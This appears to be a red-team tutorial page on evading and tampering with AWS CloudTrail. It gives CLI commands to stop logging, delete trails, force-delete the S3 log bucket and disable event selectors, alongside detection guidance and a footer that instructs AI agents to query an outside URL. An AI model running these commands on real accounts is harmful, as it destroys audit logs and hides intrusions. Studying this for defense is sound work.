> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/06-cloudtrail.md).

# Module 06 — CloudTrail Evasion & Log Tampering

## 🎯 What You'll Learn

* How CloudTrail logging works and what it captures
* How to identify if logging is enabled
* Techniques red teamers use to evade detection
* How to operate stealthily in AWS

***

## 📖 Theory

**CloudTrail** is AWS's audit log service. It records every API call made in an account — who did what, when, from where.

If you're pentesting or doing red team work, understanding what gets logged helps you:

1. Avoid triggering alerts
2. Understand what evidence you'd leave behind
3. Test the defender's detection capabilities

**What CloudTrail logs:**

* Every AWS API call (Console, CLI, SDK)
* The calling identity (user/role ARN)
* Source IP address
* The request parameters
* The response

***

## 🔍 Phase 1 — Check if Logging is Active

```bash
# List all trails in the account
aws cloudtrail describe-trails --profile pentest

# Check if a trail is logging
aws cloudtrail get-trail-status \
  --name arn:aws:cloudtrail:us-east-1:123456789012:trail/main-trail \
  --profile pentest
# Look for: "IsLogging": true/false

# Check which services are being logged (management vs data events)
aws cloudtrail get-event-selectors \
  --trail-name main-trail \
  --profile pentest

# Check for CloudWatch alarms on CloudTrail
aws cloudwatch describe-alarms --profile pentest | grep -i cloudtrail
```

***

## 🕵️ Phase 2 — Evasion Techniques

### Technique 1: Use the AWS Console Instead of CLI

CloudTrail logs CLI calls with `userAgent: aws-cli/...`. Console calls look like `userAgent: signin.amazonaws.com`. Some orgs alert on CLI usage from unfamiliar sources.

### Technique 2: Operate in Regions with No Trails

```bash
# Check which regions have trails
aws cloudtrail describe-trails --include-shadow-trails true --profile pentest

# Find regions with no trail coverage
for region in us-east-1 us-west-2 eu-west-1 ap-southeast-1; do
  echo "=== $region ==="
  aws cloudtrail describe-trails \
    --region $region \
    --profile pentest \
    --query 'trailList[].Name'
done

# Operate in uncovered regions to avoid logs
aws ec2 describe-instances --region ap-southeast-2 --profile pentest
```

### Technique 3: Use Legitimate-Looking Services

CloudTrail doesn't log all service activity equally. Some read-only API calls may not trigger alerts:

```bash
# These are read-only and less likely to alert:
aws s3 ls                     # just listing
aws ec2 describe-instances    # recon, not action
aws iam list-roles            # enumeration

# These will definitely alert in a mature environment:
aws iam create-user           # account creation
aws iam attach-role-policy    # policy change
aws cloudtrail stop-logging   # obvious attack
```

### Technique 4: Minimize API Calls

Each API call is a log entry. Use targeted queries instead of broad enumeration:

```bash
# Noisy: many API calls
aws iam list-users
aws iam list-roles  
aws iam list-groups
aws iam list-policies

# Quieter: one call with Pacu's cached mode
# Pacu can load pre-existing session data instead of re-calling everything
```

### Technique 5: Use Assumed Roles

Assuming a role adds indirection — logs show the assumed role, not your original identity:

```bash
aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/SomeRole \
  --role-session-name "legitimate-session-name"
# Use a session name that looks like normal automation
```

***

## 💥 Phase 3 — Disabling/Tampering CloudTrail (Requires Admin)

> This is a **noisy, high-alert action**. Only use in a controlled red team exercise where defenders are expected to detect this.

```bash
# Stop logging on a trail
aws cloudtrail stop-logging \
  --name main-trail \
  --profile pentest
# ⚠️ CloudWatch alarm "CloudTrailChanges" will fire in any mature environment

# Delete a trail entirely
aws cloudtrail delete-trail \
  --name main-trail \
  --profile pentest

# Delete an S3 bucket that holds CloudTrail logs
aws s3 rb s3://cloudtrail-logs-bucket --force --profile pentest

# Modify event selectors to exclude certain services
aws cloudtrail put-event-selectors \
  --trail-name main-trail \
  --event-selectors '[{"ReadWriteType":"None","IncludeManagementEvents":false}]' \
  --profile pentest
```

***

## 🔍 Phase 4 — Read CloudTrail Logs (Defender Perspective)

```bash
# List CloudTrail log files in S3
aws s3 ls s3://cloudtrail-logs-bucket/AWSLogs/123456789012/CloudTrail/ \
  --recursive \
  --profile pentest

# Download logs
aws s3 sync \
  s3://cloudtrail-logs-bucket/AWSLogs/123456789012/CloudTrail/ \
  ./logs \
  --profile pentest

# Query with CloudTrail Insights
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \
  --profile pentest

# Look for all actions by a specific user
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=dev-user \
  --start-time 2024-01-01 \
  --profile pentest
```

***

## 🛡️ Defenses

| Evasion Technique       | Detection                             |
| ----------------------- | ------------------------------------- |
| Stop logging            | CloudWatch alarm on `StopLogging` API |
| Operate in new region   | Multi-region trail + org trail        |
| Delete S3 logs          | S3 MFA delete + Object Lock           |
| Assume role indirection | Track `assumedRoleId` in logs         |
| Low-noise enumeration   | GuardDuty anomaly detection           |

***

## 📎 References

* [CloudTrail Threat Model](https://www.sans.org/blog/aws-cloudtrail-threat-hunting/)
* [Pacu CloudTrail Module](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details)
* [AWS GuardDuty Findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/06-cloudtrail.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.